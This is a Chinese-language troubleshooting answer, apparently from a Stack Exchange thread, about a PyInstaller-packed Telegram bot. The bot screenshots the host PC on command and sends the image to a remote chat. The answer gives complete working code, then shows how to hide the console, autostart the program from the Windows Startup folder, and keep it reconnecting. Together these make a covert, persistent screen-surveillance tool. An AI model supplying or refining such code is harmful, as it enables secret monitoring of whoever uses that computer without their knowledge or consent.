PyInstaller打包的Telegram机器人脚本放入Windows启动文件夹后执行失败求助
解决Telegram机器人打包exe在Windows启动文件夹运行报错的问题
我来帮你分析一下这个问题,你手动运行正常但放到启动文件夹就报错,核心原因主要是工作目录不匹配和隐藏控制台导致无法排查错误,结合你的代码细节,具体解决方法如下:
一、核心问题分析
工作目录权限问题:
手动运行exe时,程序的当前工作目录就是exe所在的文件夹,你拥有完全的读写权限来创建/删除pic.jpg。但Windows从启动文件夹启动程序时,默认工作目录会变成C:\Windows\System32或者你的用户根目录(比如C:\Users\Elliot),在这些目录下创建文件可能会触发权限限制,导致截图保存失败,进而让整个脚本崩溃。参数调用不规范:
你的代码里bot.send_photo(message.chat.id, uphoto, today)的写法有问题,send_photo的第三个参数需要明确指定为caption,虽然手动运行时可能兼容,但打包后容易出现参数解析错误。隐藏控制台无法排错:
用-w参数打包会隐藏控制台窗口,报错时只能看到模糊的"Failed to execute script"提示,无法获取具体的错误信息,加大了排查难度。
二、具体解决方案
1. 修改代码,使用绝对路径处理临时文件
修改代码,让截图保存到exe所在的目录,而非当前工作目录,同时修正send_photo的参数:
import telebot import pyautogui import os import sys import time from datetime import datetime # 获取程序的绝对路径(兼容开发环境和打包后的exe) if getattr(sys, 'frozen', False): # 打包为exe后的情况 app_directory = os.path.dirname(sys.executable) else: # 本地开发时的情况 app_directory = os.path.dirname(os.path.abspath(__file__)) # 初始化Telegram机器人 bot = telebot.TeleBot("your-bot-token-here") @bot.message_handler(commands=['s', 'screenshot']) def send_screenshot(message): bot.reply_to(message, "[+] Hello, i am sending you the screenshot") # 构造截图的完整保存路径 screenshot_path = os.path.join(app_directory, "temp_screenshot.jpg") # 保存截图到指定路径 pyautogui.screenshot(screenshot_path) # 读取截图文件并发送(避免pyautogui返回对象在打包后的兼容性问题) with open(screenshot_path, 'rb') as photo_file: current_time = datetime.now().strftime("Date: %Y-%m-%d %H:%M:%S") # 明确指定caption参数 bot.send_photo(message.chat.id, photo_file, caption=current_time) # 删除临时截图文件 os.remove(screenshot_path) # 添加重试机制,应对系统启动时的网络不稳定 while True: try: bot.polling(none_stop=True, timeout=30) except Exception as e: # 如果是带控制台的版本,会输出错误信息方便排查 print(f"Connection error: {e}, retrying in 5 seconds...") time.sleep(5)
2. 先不带-w打包测试
先去掉-w参数打包,生成带控制台的exe,放到启动文件夹重启系统:
pyinstaller "filename.py" -F
这样启动时会弹出控制台窗口,你可以看到具体的错误信息,确认问题是否已经解决。
3. 优化启动方式(可选)
不要直接把exe放到启动文件夹,而是:
- 将exe放到你有权限的目录(比如
C:\Users\Elliot\Documents\TelegramBot) - 右键exe创建快捷方式
- 将快捷方式放到启动文件夹
C:\Users\Elliot\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartUp - 右键快捷方式→属性→快捷方式→起始位置,设置为exe所在的目录
这样可以确保程序启动时的工作目录就是exe所在的文件夹,进一步避免权限问题。
4. 最终打包
确认测试正常后,再用-w参数打包成后台运行的单文件:
pyinstaller "filename.py" -w -F
内容的提问来源于stack exchange,提问作者Zucker




